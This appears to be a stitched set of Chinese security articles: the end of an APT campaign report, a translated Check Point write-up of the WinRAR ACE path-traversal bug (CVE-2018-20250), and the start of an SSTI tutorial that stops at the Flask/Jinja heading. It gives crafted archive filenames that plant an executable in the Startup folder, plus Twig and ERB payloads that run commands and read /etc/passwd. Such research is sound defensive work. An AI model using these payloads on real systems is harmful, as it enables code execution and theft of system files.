Group恶意活动报告后不到一周，此次恶意活动所使用的证书就已经创建。尽管我们不能确定，但该证书可能是此前Callisto Group恶意活动的后续活动。
4、我们分析的Scout Payload，与ESET分析的威胁使用了相同的内容填充二进制文件。
5、多个反病毒产品都将Payload检测为CrisisHT（HackingTeam）。
6、在恶意文档中使用了相似的0day攻击技术，特别是嵌入在Microsoft
Office文档中的恶意代码。这些漏洞利用程序同时包含支持32位和64位的漏洞利用工具以及ShellCode。
我们之所以没有确切地将该恶意活动与这个黑客组织相关联，主要是因为以下两个原因：
1、恶意人员利用泄露的源代码，可以轻易模仿并改写一个新的HackingTeam TTP工具。
2、该样本中缺少远程包含或额外Web请求漏洞利用组件，而HackingTeam在2013年就使用了这些组件。
考虑到上述因素，并且鉴于我们目前有限的证据，我们很难准确判断出此次恶意活动的幕后元凶。但实际上，无论是这个黑客团队还是模仿者所为并不重要，重要的是有效的0day漏洞仍在被广泛用于针对特定目标的攻击之中。
## 附录：样本信息
原文链接： | 社区文章 |
# 成功获取WinRAR 19年历史代码执行漏洞
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/extracting-code-execution-from-winrar/>
译文仅供参考，具体内容表达以及含义原文为准。
# 介绍
在本文中，我们讲述了如何使用WinAFL模糊测试工具找到WinRAR中的逻辑错误，并利用它来完全控制失陷主机的故事。该漏洞仅通过提取精心构造的存档文件即可成功利用，使超过5亿用户的主机面临风险。这个漏洞存在已达19年之久！并迫使WinRAR完全放弃对易受攻击格式的支持。
## 背景
几个月前，我们的团队构建了一个多处理器模糊测试实验室，并开始使用[WinAFL](https://github.com/googleprojectzero/winafl)模糊器对Windows环境下的二进制文件进行模糊测试。在收获了[Adobe
的模糊测试研究成果](https://research.checkpoint.com/50-adobe-cves-in-50-days/)后，我们决定扩展我们的模糊测试工作，针对WinRAR进行模糊测试。
模糊测试过程产生的一个Crash指引我们发现了一个WinRAR使用的2006年编译的，没有保护机制（如ASLR，DEP等）的过时的动态链接库。
我们将焦点和模糊测试的主要目标转向这个“容易上手”的dll，找到了一个内存损坏错误，并成功引发远程代码执行。
然而，模糊器产生了一个具有“怪异”行为的测试用例。在研究了这种行为之后，我们发现了一个逻辑错误：绝对路径遍历漏洞。从这一点开始，利用这个漏洞完成远程代码执行变得非常简单。
也许还值得一提的是，这类漏洞在Bug Bounty计划中，有巨大的奖金份额。
## 什么是WinRAR？
WinRAR是Windows的件归档应用程序，可以创建和查看RAR或ZIP文件格式的归档，并解压缩大量归档文件格式。
据[WinRAR网站](https://www.win-rar.com/start.html?&L=0)称，全球超过5亿WinRAR用户，这就使其成为当今世界上最受欢迎的压缩工具。
这就是GUI的样子：
## 模糊过程背景
这些是开始模糊WinRAR所采取的步骤：
1. 在WinRAR主函数内部构造harness，使我们能够模糊任何存档类型而无需为每种格式构造相应的harness。这是通过给WinRAR可执行文件打补丁来完成的。
2. 去除用户交互的对话框和GUI等元素，这也可以通过修补WinRAR可执行文件来完成。
即使在WinRAR的CLI模式下，也会弹出一些消息框。
3. 使用奥卢大学2005年左右进行的一项有趣研究发布的[巨型语料库](https://www.ee.oulu.fi/roles/ouspg/PROTOS_Test-Suite_c10-archive)。
4. 在WinRAR命令行模式下使用WinAFL对程序进行模糊处理。通过这样强制WINRAR解析“已损坏的存档”并设置默认密码（“-p”表示密码，“ – kb”表示保留损坏的解压缩文件）。这些参数和选项可以在WinRAR帮助手册中找到。
在短时间的模糊测试之后，我们发现了几个存档格式的崩溃，例如RAR，LZH和ACE，这些存档格式会导致内存损坏，例如Out-of-Bounds
Write。但是，利用这些漏洞并非易事，因为原语提供了对覆盖缓冲区的有限控制。
然而，解析ACE格式时的崩溃引起了我们的注意。我们发现WinRAR使用名为unacev2.dll的DLL来解析ACE归档文件。快速浏览一下这个dll就会发现它是2006年没有保护机制的旧版dll。事实证明，漏洞利用的时候真的不需要绕过保护。
## 构建一个特定的Harness
由于这个dll看起来容易利用，所以我们专注它的模糊测试过程。
另外，就WinRAR而言，只要归档文件具有.rar扩展名，它就会根据文件的Magic字节处理它，在我们的示例中，是ACE格式。
为了提高模糊器性能，并仅增加相关dll的代码覆盖，我们为unacev2.dll创建了一个特定的Harness。
为此，我们需要了解如何使用unacev2.dll。逆向调用unacev2.dll进行ACE归档提取的代码后，我们发现应按以下顺序调用两个导出函数进行归档文件的提取：
1. 名为ACEInitDll的初始化函数，具有以下签名：
`INT __stdcall ACEInitDll（unknown_struct_1 * struct_1）;`
•struct_1：指向未知结构的指针
2. 名为ACEExtract的提取函数，具有以下签名：
`INT __stdcall ACEExtract（LPSTR ArchiveName，unknown_struct_2 * struct_2）;`
•ArchiveName：指向要提取的ace文件的路径的字符串指针
•struct_2：指向未知结构的指针
这两个函数都需要传递我们不知道的结构。我们有两种方法可以尝试理解未知的结构：逆向，调试WinRAR，或尝试查找使用这些结构的开源项目。
第一种选择更耗时，因此我们选择尝试第二种选择。我们在github.com上找到了ACEInitDll这个导出函数，并找到了一个名为[FarManager](https://github.com/FarGroup/FarManager)的项目，该项目使用此dll并包含未知结构的详细头文件。
**注意** ：此项目的创建者也是WinRAR的创建者。
将头文件加载到IDA后，更容易理解两个函数（ACEInitDll和ACEExtract）之前的“未知结构”，因为IDA为每个结构成员显示了正确的名称和类型。
从我们在FarManager项目中找到的标题中，我们提出了以下签名：
`INT __stdcall ACEInitDll（pACEInitDllStruc DllData）;`
`INT __stdcall ACEExtract（LPSTR ArchiveName，pACEExtractStruc Extract）;`
为了模仿WinRAR使用unacev2.dll的方式，我们分配了与WinRAR相同的结构成员。
我们开始模糊这个Harness，但我们没有发现新的崩溃，并且覆盖范围没有在模糊测试的前几个小时内扩展。我们试图了解这种限制的原因。
我们首先查找有关ACE归档格式的信息。
## 了解ACE格式
我们没有找到该格式的RFC，但我们确实在互联网上找到了重要信息。
1.创建ACE存档受专利保护。
唯一允许创建ACE存档的软件是[WinACE](https://web.archive.org/web/20170714193504/http:/winace.com:80/)。
该项目的最后一个版本是在2007年11月编译的。该公司的网站自2017年8月以来一直处于关闭状态。但是，提取ACE存档不受专利保护。
这个[维基百科](https://en.wikipedia.org/wiki/ACE_%28compressed_file_format%29)中提到了一个名为[acefile](https://pypi.org/project/%3Ccode%3Eacefile%3C/code%3E%20/)的纯Python项目。
它最有用的功能是：
它可以提取ACE档案。
它包含有关ACE文件格式的简要说明。
它有一个非常有用的功能，打印文件格式标题和解释。
要理解ACE文件格式，让我们创建一个简单的.txt文件（名为“simple_file.txt”），并使用WinACE对其进行压缩。
然后，我们将使用acefile检查ACE文件的标头。
simple_file.txt如下：
这些是我们在WinACE中选择创建示例的选项：
此选项在所选的提取目录下创建子目录 users\nadavgr\Documents，并将simple_file.txt提取到该相对路径。
使用headers标志从acefile项目运行acefile.py会显示有关存档标头的信息：
结果如下：
**请注意：**
将上图中文件名字段中的每个“\\”视为单个斜杠“\”，这只是python转义。
为清楚起见，相同的字段在ace 文件中的十六进制转储和输出中用相同的颜色标记。
重要领域摘要：
**·hdr_crc（标记为粉红色）：**
两个CRC字段存在于2个标头中。如果CRC与数据不匹配，则中断提取。这就是为什么fuzzer没有找到更多路径（扩展其覆盖范围）的原因。为了“解决”这个问题，我们修补了unacev2.dll中的所有CRC
_校验。_ 注 – CRC是常规CRC的修改实现-32。
**·文件名（以绿色标记）：**
文件名包含文件的相对路径。在提取过程中（包括文件）创建相对路径中指定的所有目录。文件名的大小由十六进制转储中的黑色框标记的2个字节（小端）定义。
**·广告（标有黄色）**
如果使用未注册版本的WinACE创建存档，则在创建ACE存档期间，WinACE会自动添加广告字段。
**·文件内容：**
“origsize” - 内容的大小。内容本身位于定义文件的标题之后（“hdr_type”字段== 1）。
“hdr_size” – 头部大小。由十六进制转储中的灰色框标记。
在第二个头部的偏移70（0x46）处，我们可以找到我们的文件内容：“Hello From Check Point！”
因为filename字段包含文件的相对路径，所以我们对该字段进行了一些手动修改尝试，以查看它是否容易受到“路径遍历”的影响。
例如，我们将简单的路径遍历小工具“ \\..\ ”添加到文件名字段和更复杂的“路径遍历”技巧，但没有成功。
在修补所有结构检查（例如CRC验证）之后，我们再次再次运行了模糊器。 在短时间的模糊测试之后，我们进入了主要的模糊测试目录，发现了一些奇怪的东西。
但还是首先描述一下我们的模糊器以便于交代一些背景信息。
## 模糊器
为了提高模糊器性能并防止I\O瓶颈，我们在一个使用ImDisk工具包的RAM盘符下运行模糊器。
Ram磁盘映射到驱动器R：\，文件夹树如下所示：
## 检测路径遍历错误
启动模糊器后不久，我们在驱动器R的根目录中找到了一个名为sourbe的新文件夹，位于一个令人惊讶的位置：
Harness被指示将测试归档文件提取到“output_folders”下的子目录。
例如，R:\ACE_FUZZER\output_folders\Slave_2 。 那么为什么我们在父目录中创建了一个新文件夹呢？
在sourbe文件夹中，我们找到了一个名为REDVERSION_的文件，其中包含以下内容：
触发漏洞的测试用例十六进制dump文件如下：
**请注意：**
·我们对此测试用例进行了一些小的更改（例如调整CRC）以使其可以通过acefile进行解析。
·为方便起见，字段在十六进制转储中以相同的颜色标记acefile的输出。
这是我们在查看十六进制转储和acefile输出时注意到的前三件事：
1. 模糊器将“广告”字段的一部分复制到其他字段：·压缩文件的内容为“SIO”，在十六进制转储中以橙色框标记。它是广告字符串“ _UNREGISTERED VER **SIO** N _”的一部分。
·文件名字段包含字符串“RED VERSION _”，它是广告字符串“_ UNREGISTE **RED VERSION *** ”的一部分。
2. 文件名字段中的路径在提取过程中用作“绝对路径”，而不是目标文件夹的相对路径（反斜杠是驱动器的根目录）。
3. 提取文件名是“REDVERSION_¶”。似乎文件名字段中的星号已转换为下划线，并且 \x14\ （0x14）值在提取文件名中表示为“¶”。文件名字段的其他内容被忽略，因为在 \x14\ （0x14）值之后有一个空字符终止字符串。
为了找到harness忽略目标文件夹的约束并在提取过程中使用文件名字段作为绝对路径的原因，我们根据我们的假设进行了以下尝试。
我们的第一个假设是文件名字段的第一个字符（’\’）触发漏洞。不幸的是，经过快速检查后我们发现事实并非如此。经过额外检查后，我们得出了以下结论：
1. 第一个字符应该是’/‘或‘\’。
2. ‘*’应至少包含在文件名中一次;位置无关紧要。
触发错误的文件名字段示例： some _folder\some_file\\* .exe将被解压缩到C：
some_folder\some_file_.exe，星号将转换为下划线（_）。
鉴于对harness的fuzzing已经成功触发漏洞，现在是时候在WinRAR上测试我们精心设计的存档（例如，利用文件）文件了。
## 在WinRAR上尝试利用
乍一看，漏洞在WinRAR上按预期工作，因为sourbe目录是在驱动器C：\的根目录中创建的。但是，当我们进入“sourbe”文件夹（C：\sourbe）时，我们注意到文件未创建。
这些行为引发了两个问题：
`·为什么Harness和WinRAR的行为不同？`
`·为什么创建了漏洞利用文件中指定的目录，而未创建提取的文件？`
## 为什么Harness和WinRAR的行为不同？
我们预计漏洞利用文件在WinRAR上的行为与在我们的Harness中表现的行为相同，原因如下：
1. dll（unacev2.dll）将文件提取到目标文件夹，而不是外部可执行文件（WinRAR或我们的Harness）。
2. 当将参数/结构成员传递给dll时，我们的Harness完美地模仿WinRAR。
更深入的观察表明我们在第二点中的假设是错误的。我们的线程定义了4个回调指针，我们实现的回调与WinRAR的回调不同。让我们回到我们的Harness实现。
我们在调用名为ACEInitDll的导出函数时提到了这个签名。
`INT __stdcall ACEInitDll（pACEInitDllStruc DllData）;`
pACEInitDllStruc是指向sACEInitDLLStruc结构的指针。该结构的第一个成员是tACEGlobalDataStruc。此结构有许多成员，包括具有以下签名的回调函数的指针：
`INT（__stdcall * InfoCallbackProc）（pACEInfoCallbackProcStruc Info）;`
`INT（__stdcall * ErrorCallbackProc）（pACEErrorCallbackProcStruc Error）;`
`INT（__stdcall * RequestCallbackProc）（pACERequestCallbackProcStruc Request）;`
`INT（__stdcall * StateCallbackProc）（pACEStateCallbackProcStruc State）;`
这些回调在提取过程中由dll（unacev2.dll）调用。
这些回调函数被用来作为即将发生的操作例如创建文件，创建目录，覆盖文件等的验证机制。
外部回调/验证器获取有关即将发生的操作的信息，例如文件提取，并将其结果返回给dll。
如果允许该操作，则将[ACE_CALLBACK_RETURN_OK](https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/CALLBACK.H#LC110)常量返回给dll。否则，如果回调函数不允许该操作，则返回以下常量：[ACE_CALLBACK_RETURN_CANCEL](https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/CALLBACK.H#LC114)，同时终止操作。
有关这些回调函数的更多信息，请参阅[FarManager](https://github.com/FarGroup/FarManager/)中的[说明](https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/CALLBACK.H#LC22)。
在我们构造的Harness中，除ErrorCallbackProc返回了ACE_CALLBACK_RETURN_CANCEL之外，所有回调函数返回了ACE_CALLBACK_RETURN_OK。
这就说明，WinRAR对提取的文件名进行了验证（在它们被提取和创建之后），并且由于WinRAR回调中的那些验证结果，终止了文件创建。这意味着在创建文件后，WinRAR会删除它。
## WinRAR验证器/回调
这是阻止文件创建的WinRAR回调验证器伪代码的一部分：
“SourceFileName”表示将提取的文件的相对路径。
该功能执行以下检查：
1. 第一个字符不等于“\”或“/”。
2. 文件名不以以下字符串“..\ ”或“../”开头，它们是“路径遍历”的小工具。
3. 字符串中不存在以下“路径遍历”小工具：
1. “\..\”
2. “\../”
3. “/../”
4. “/ ..\”
unacv2.dll中的提取函数调用WinRAR中的StateCallbackProc，并将ACE格式的文件名字段作为要提取的相对路径传递。
相对路径是由WinRAR的回调/验证机器检查的。验证器将ACE_CALLBACK_RETURN_CANCEL返回到dll，（因为文件名字段以反斜杠“\”开头）并且文件创建被终止。
以下字符串传递给WinRAR回调的验证器：
“\sourbe\RED VERSION_”
**注意：** 这是带有字段“\sourbe\RED VERSION _¶”的原始文件名。 “unacev2.dll”用下划线替换“_ ”。
## 为什么漏洞利用文件中指定的文件夹被创建，而解压缩的文件没有被创建？
由于dll中存在错误（“unacev2.dll”），即使从回调中返回ACE_CALLBACK_RETURN_CANCEL，也会由dll创建相对路径（ACE归档中的文件名字段）中指定的文件夹。
原因是unacev2.dll在创建文件夹之前调用外部验证器（回调），但是在创建文件夹之后它会过早地检查回调的返回值。因此，在调用WriteFile
API之前，它会在将内容写入提取的文件之前终止提取操作。
它实际上创建了待提取文件却没有向文件内写入内容。它调用CreateFile API
然后检查回调函数的返回值。如果返回值是ACE_CALLBACK_RETURN_CANCEL，就会会删除先前通过调用CreateFile API创建的文件。
**附注：**
我们找到了绕过删除文件的方法，但它只允许我们创建空文件。我们可以通过在文件的末尾添加“：”来绕过文件删除，该文件被视为备用数据流。如果回调返回ACE_CALLBACK_RETURN_CANCEL，那么dll会尝试删除文件的备用数据流而不是文件本身。
如果相对路径字符串以“”（斜杠）开头，那么dll代码中还有另一个过滤函数会终止提取操作。这种操作发生在第一个提取阶段，调用其他过滤器函数之前。
但是，通过将“*”或“？”字符（通配符）添加到压缩文件的相对路径（文件名字段），就可以跳过这个验证，同时，代码流可以继续并（部分）触发目录遍历漏洞。这就是模糊器生成的漏洞利用文件触发了我们harness中的漏洞的原因。由于WinRAR代码中的回调验证器，它不会触发WinRAR中的漏洞。
## 中级调查结果摘要
**·**
我们在unacev2.dll中发现了一个目录遍历漏洞。它使我们的Harness能够将文件提取到任意路径，完全忽略目标文件夹，并将提取的文件相对路径视为完整路径。
**·** 这个目录遍历漏洞（在前面的部分中总结）：
1.第一个字符应该是’/‘或‘\’。
2.’*‘应至少包含在文件名中一次。位置无关紧要。
**·** WinRAR部分容易受到Path Traversal的攻击：
从WinRAR回调（ACE_CALLBACK_RETURN_CANCEL）获取终止代码后，unacev2.dll不会终止操作。由于延迟检查WinRAR回调的返回代码，因此会创建漏洞利用文件中指定的目录。
提取的文件也是在exploit文件中指定的完整路径上创建的（没有内容），但在从回调中检查返回的代码（在调用WriteFile API之前）之后立即删除它。
我们找到了绕过删除文件的方法，但它允许我们只创建空文件。
## 找到根本原因
此时，我们想弄清楚为什么忽略目标文件夹，并将归档文件的相对路径（文件名字段）视为完整路径。
为了实现这个目标，我们可以使用静态分析和调试，但我们决定使用更快的方法。我们使用[DynamoRio](https://github.com/DynamoRIO/dynamorio)来记录常规ACE文件的unacev2.dll中的代码覆盖率以及触发该错误的漏洞利用文件。然后我们使用[Lighthouse](https://github.com/gaasedelen/lighthouse)插件进行覆盖率计算，并从另一个中减去一个覆盖路径。
这些是我们得到的结果：
在“Coverage Overview”窗口中，我们可以看到一个独立的结果。
这意味着在第一次尝试中仅执行了一个基本块（在A中标记），在第二次尝试时未到达（在B中标记）。
Lighthouse插件用蓝色标记了变焦基本块的背景，如下图所示。
从代码覆盖率结果中，您可以理解漏洞利用文件不是通过分支的基本块（标记为蓝色），而是采用相反的基本块（错误条件，用红色箭头标记）。
如果代码流经过错误条件（红色箭头），那绿色框内的代码就会用“”（空字符串）替换目标文件夹，稍后调用sprintf函数，该函数将目标文件夹连接到相对路径提取的文件。
代码流向真假条件，分别用绿色和红色箭头标记，
受到对名为GetDevicePathLen的函数的调用的影响（在红框内）。
如果调用GetDevicePathLen的结果等于0，则sprintf如下所示：
`sprintf（final_file_path，“％s％s”，destination_folder，file_relative_path）;`
反之，sprintf结果如下
`sprintf（final_file_path，“％s％s”，“”，file_relative_path）;`
最后一个sprintf是触发目录遍历漏洞的错误代码。
这意味着相对路径实际上将被视为应写入/创建的文件/目录的完整路径。
让我们看一下 **GetDevicePathLen** 函数，以便更好地理解根本原因：
提取文件的相对路径将传递给GetDevicePathLen。
它会检查设备或驱动器名称前缀是否出现在Path参数中，并返回该字符串的长度，如下所示：
**·** 该函数为C：\some_folder\some_file.ext这个路径返回3
**·** 该函数为\some_folder\some_file.ext这个路径返回1
**·** 该函数\\\LOCALHOST\C $\some_folder\some_file.ext这个路径返回15
**·** 该函数为\\\？ \Harddisk0Volume1\some_folder\some_file.ext这个路径返回21
**·** 该函数为some_folder\some_file.ext这个路径返回0
如果GetDevicePathLen的返回值大于0，则提取文件的相对路径将被视为完整路径，因为在调用sprintf期间目标文件夹被空字符串替换，这会触发目录遍历漏洞。
但是，通过省略在调用GetDevicePathLen之前不允许的任何序列，有一个“清除”提取文件的相对路径的函数。
这是一个清除路径“CleanPath”的伪代码。
该函数省略了简单的目录遍历序列，如“ .. ”（如果它在路径的开头找到 “..”序列，它会只省略它）序列，它省略了驱动器号序列，如：“C：\”
，“C：”，并且由于未知原因，“C：\C：”也是如此。
请注意，它不关心第一个字母;以下序列也将被省略：“_:\”, “_:”, “_:\\_:”（在这种情况下，下划线表示任何值）。
## 整合
要创建导致WinRAR将归档文件解压缩到任意路径（目录遍历漏洞）的漏洞利用文件，请解压缩到startup文件夹（在重新启动后获取代码执行）而不是目标文件夹。
我们应该绕过两个过滤函数来触发bug。
要触发空字符串与压缩文件的相对路径的串联，而不是目标文件夹：
`sprintf（final_file_path，“％s％s”，“”，file_relative_path）;`
代替：
`sprintf（final_file_path，“％s％s”，destination_folder，file_relative_path）;`
GetDevicePathLen函数的结果应大于0。
它取决于相对路径的内容（“file_relative_path”）。如果相对路径如下方式启动设备路径：
选项1： C：\some_folder\some_file.ext
选项2： some_folder\some_file.ext（第一个斜杠代表当前驱动器。）
GetDevicePathLen的返回值将大于0。
但是，unacev2.dll中有一个名为CleanPath的过滤器函数（图17），它会检查相对路径是否以C：开头，并在调用GetDevicePathLen之前将其从相对路径字符串中删除。
它省略了选项1字符串中的“C：”序列，但没有从选项2字符串中省略“”序列。
为了克服这个限制，我们可以在选项1中添加另一个“C：”序列，它将被CleanPath省略（图17），并按照我们想要的一个“C：”保留字符串的相对路径，如：
选项1'：C：\C：\some_folder\some_file.ext => C：\some_folder\some_file.ext
但是，WinRAR代码中有一个回调函数（图13），它是验证器/过滤器函数。在提取过程中，unacev2.dll被调用到驻留在WinRAR代码的回调函数当中。
回调函数验证压缩文件的相对路径。如果找到黑名单序列，则将终止提取操作。
回调函数进行的一项检查是以“”（斜杠）开头的相对路径。
但它没有检查“C：”。因此，我们可以使用选项1’来 **利用目录遍历漏洞** ！
我们还发现了一个 **SMB攻击向量** ，它可以连接到任意IP地址，并在SMB服务器上的任意路径中创建文件和文件夹。
例：
`C：\\\10.10.10.10\smb_folder_name\some_folder\some_file.ext =>
\\10.10.10.10\smb_folder_name\some_folder\some_file.ext`
## 简单漏洞利用文件的示例
我们将.ace扩展名更改为.rar扩展名，因为WinRAR会根据文件内容检测格式，而不是扩展名。
这是acefile的输出：
我们通过文件名字段中精心构造的字符串（绿色）触发漏洞。
无论目标文件夹的路径是什么，此存档都将解压缩到C：\some_folder\some_file.txt。
## 构造真正的漏洞利用
我们可以通过从ACE存档中提取压缩的可执行文件到其中一个启动文件夹来获得代码执行。驻留在Startup文件夹中的任何文件都将在引导时执行。
制作一个将其压缩文件提取到Startup文件夹的ACE存档似乎很简单，但事实并非如此。
以下路径中至少有2个Startup文件夹：
C：\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
C：\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
第一个Startup文件夹的路径需要高权限/高完整性级别（如果启用了UAC）。但是，WinRAR默认以中等完整性级别运行。
Startup文件夹的第二个路径要求知道用户的名称。
我们可以尝试通过创建包含数千个精心设计的压缩文件的ACE存档来克服这个问题：所有的文件都包含Startup文件夹的路径，但具有不同的 **<
用户名>**。以此来寄希望于文件可以在我们的目标中工作。
您的浏览器不支持video标签
## 最强攻击向量
我们找到了一个向量，它允许我们将文件提取到Startup文件夹，而无需关心<用户名>。
通过在ACE存档中使用以下文件名字段：
C：\C：C：../ AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\some_file.exe
它由CleanPath函数转换为以下路径（图17）：
C：../ AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\some_file.exe
因为CleanPath函数删除了“C：\C：”序列。
此外，此目标文件夹将被忽略，因为GetDevicePathLen函数（图16）将为最后一个“C：”序列返回2。
让我们分析最后的路径：
序列“C：”由Windows翻译为正在运行的进程的“当前目录”。在我们的例子中，它是WinRAR的当前路径。
如果从其文件夹执行WinRAR，则“当前目录”将是此WinRAR文件夹：C：\Program Files\WinRAR
但是，如果通过双击存档文件或右键单击存档文件中的“extract”来执行WinRAR，则WinRAR的“当前目录”将成为存档所在文件夹的路径。
例如，如果存档位于用户的“下载”文件夹中，则WinRAR的“当前目录”将为：
C：\Users\ **< 用户名>\**Downloads
如果存档位于Desktop文件夹中，则“当前目录”路径将为：
C：\Users\ **< 用户名>\**Desktop
要从Desktop或Downloads文件夹到Startup文件夹，我们应该将一个文件夹“../”返回到“用户文件夹”，并连接到启动目录的相对路径：AppData\Roaming\Microsoft\Windows\Start菜单程序启动按以下顺序：“C：../”
所以最终结果为：C：../
AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup\some_file.exe
请记住，有两个针对路径遍历序列的检查：
1. 在CleanPath函数中跳过这样的序列。
2. 在WinRAR的回调函数中，会终止提取操作。
CleanPath检查以下路径遍历模式：“ .. ”
WinRAR的回调函数检查以下模式：
“\..\”
“\../”
“/../”
“/ ..\”
因为第一个斜杠或反斜杠不是我们的序列“C：../”的一部分，所以我们可以绕过路径遍历验证。但是，我们只能回退一个文件夹。我们需要在不知道用户名的情况下将文件解压缩到Startup文件夹。
注意：如果我们想要回退多个文件夹，我们应该连接以下序列“/../”。例如，“C：../../”，而“/../”序列将被回调函数捕获到，并终止文件提取。
## 边注
在我们的研究结束时，我们发现WinACE在linux环境下创建了一个类似unacev2.dll的应用程序，名字为unace-nonfree（使用Watcom编译器编译）。 源代码可用。
Windows的源代码（由unacev2.dll构建）也包含在内，但它比unacev2.dll的最新版本旧，并且无法为Windows编译/构建。
此外，源代码中缺少某些功能 – 例如，不包括图17中的检查。
但是，图16取自源代码。
我们还在源代码中找到了目录遍历漏洞。 它看起来像这样：
## CVE编号：
CVE-2018-20250，CVE-2018-20251，CVE-2018-20252，CVE-2018-20253。
## WinRAR的回复
WinRAR决定从他们的软件包中删除UNACEV2.dll，而WinRAR不支持版本号为“5.70 beta 1”的ACE格式。
引自WinRAR官方的[描述](https://www.win-rar.com/whatsnew.html?&L=0)：
“Nadav Grossman from Check Point Software Technologies informed us about a security vulnerability in UNACEV2.DLL library.Aforementioned vulnerability makes possible to create files in arbitrary folders inside or outside of destination folder when unpacking ACE archives.
WinRAR used this third party library to unpack ACE archives.
UNACEV2.DLL had not been updated since 2005 and we do not have access to its source code.
So we decided to drop ACE archive format support to protect security of WinRAR users.
We are thankful to Check Point Software Technologies for reporting this issue.“
Check Point的SandBlast Agent Behavioral Guard可以防御这些威胁。
Check Point的IPS提供针对此威胁的保护：“RARLAB WinRAR ACE格式输入验证远程执行代码（CVE-2018-20250）”
非常感谢我的同事Eyal Itkin（[@EyalItkin](https://github.com/EyalItkin
"@EyalItkin")）和Omri Herscovici（[@omriher](https://github.com/omriher
"@omriher")）对本研究的帮助。
本文译自Check Point研究人员发布的[Extracting a 19 Year Old Code Execution from
WinRAR](https://research.checkpoint.com/extracting-code-execution-from-winrar/) | 社区文章 |
# SSTI漏洞学习 (上)——基础知识和一些不常见的模板引擎介绍
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## SSTI 简介
### MVC
MVC是一种框架型模式，全名是Model View Controller。
即模型(model)－视图(view)－控制器(controller)
在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码，将业务逻辑聚集到一个部件里面，在改进和个性化定制界面及用户交互的同时，得到更好的开发和维护效率。
在MVC框架中，用户的输入通过 View 接收，交给 Controller ，然后由 Controller 调用 Model 或者其他的
Controller 进行处理，最后再返回给 View ，这样就最终显示在我们的面前了，那么这里的 View 中就会大量地用到一种叫做模板的技术。
绕过服务端接收了用户的恶意输入以后，未经任何处理就将其作为 Web
应用模板内容的一部分，而模板引擎在进行目标编译渲染的过程中，执行了用户插入的可以破坏模板的语句，就会导致敏感信息泄露、代码执行、GetShell 等问题.
虽然市面上关于SSTI的题大都出在python上，但是这种攻击方式请不要认为只存在于 Python 中，凡是使用模板的地方都可能会出现 SSTI
的问题，SSTI 不属于任何一种语言。
## 常见的模板引擎和注入漏洞
### Twig(PHP)
首先以Twig模板引擎介绍SSTI，很多时候，SSTI发生在直接将用户输入作为模板，比如下面的代码
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
`createTemplate`时注入了`$_GET['name']`，就会引发SSTI
而如下代码则不会，因为模板引擎解析的是字符串常量中的`{{name}}`，而不是动态拼接的`$_GET["name"]`
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));
而对于模板引擎的利用，往往是借助模板中的一些方法实现攻击目的，比如Twig中的过滤器`map`
举个经典的例子
`{{["man"]|map((arg)=>"hello #{arg}")}}`
会被编译成下面这样
`twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) {
$context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))`
关于这个`twig_array_map`，源码中是这样的
可以看到传入的`$arrow`被当作函数执行，那么可以不传`arrow function`，可以只传一个字符串,找个两个参数的能够命令执行的危险函数即可
比如
{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}
类似的，我们还可以找到一些其他的过滤器`sort`,`filiter`，网上也有较多介绍，就不再赘述了。
当然，SSTI还有一种基础的利用方式就是用来泄露源码和程序环境中的上下文信息，在`Twig`引擎中，我们可以通过下面方法获得一些关于当前应用的信息
{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
### ERB(Ruby)
相较于`Twig`,ERB的代码直接提供了一些命令执行的接口，比如
<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
这里提起他主要是引出模板标签的一些分类
比如这里的`ERB`模板标签使用`<%=
%>`，`Twig`使用`{{}}`，根据一些简单的poc和标签的分类，我们可以快速识别出是否存在模板漏洞以及所使用的模板引擎技术
当然有些模板引擎的标签是可以自定义的，上面列出的只是默认情况
### Golang SSTI
关于Golang Template的SSTI研究目前来说还比较少，可能是因为本身设计的也比较安全。
不过通过`{{.}}`我们可以获得到作用域
比如在下面这个例子中
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
//var name = ""
r.ParseForm() // Parses the request body
x := r.Form.Get("name")
var test map[string]interface{}
test = make(map[string]interface{})
var secret map[string]interface{}
secret = make(map[string]interface{})
flag := "flag{testflag}"
secret["flag"] = &flag
test["secret"] = secret
var tmpl = `<!DOCTYPE html><html><body>
<form action="/" method="post">
First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><p>` + x + ` </p></body></html>`
t := template.New("main") //name of the template is main
t, _ = t.Parse(tmpl) // parsing of template string
t.Execute(w, test)
}
func main() {
server := http.Server{
Addr: "0.0.0.0:5090",
}
http.HandleFunc("/", handler)
server.ListenAndServe()
}
可以获取到作用域对象
进一步可以获得flag
甚至如果在作用域中存在可以利用的函数，我们还可以调用该函数完成攻击,比如
type User struct {
ID int
Email string
Password string
}
func (u User) System(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
就有
### Flask/Jinja
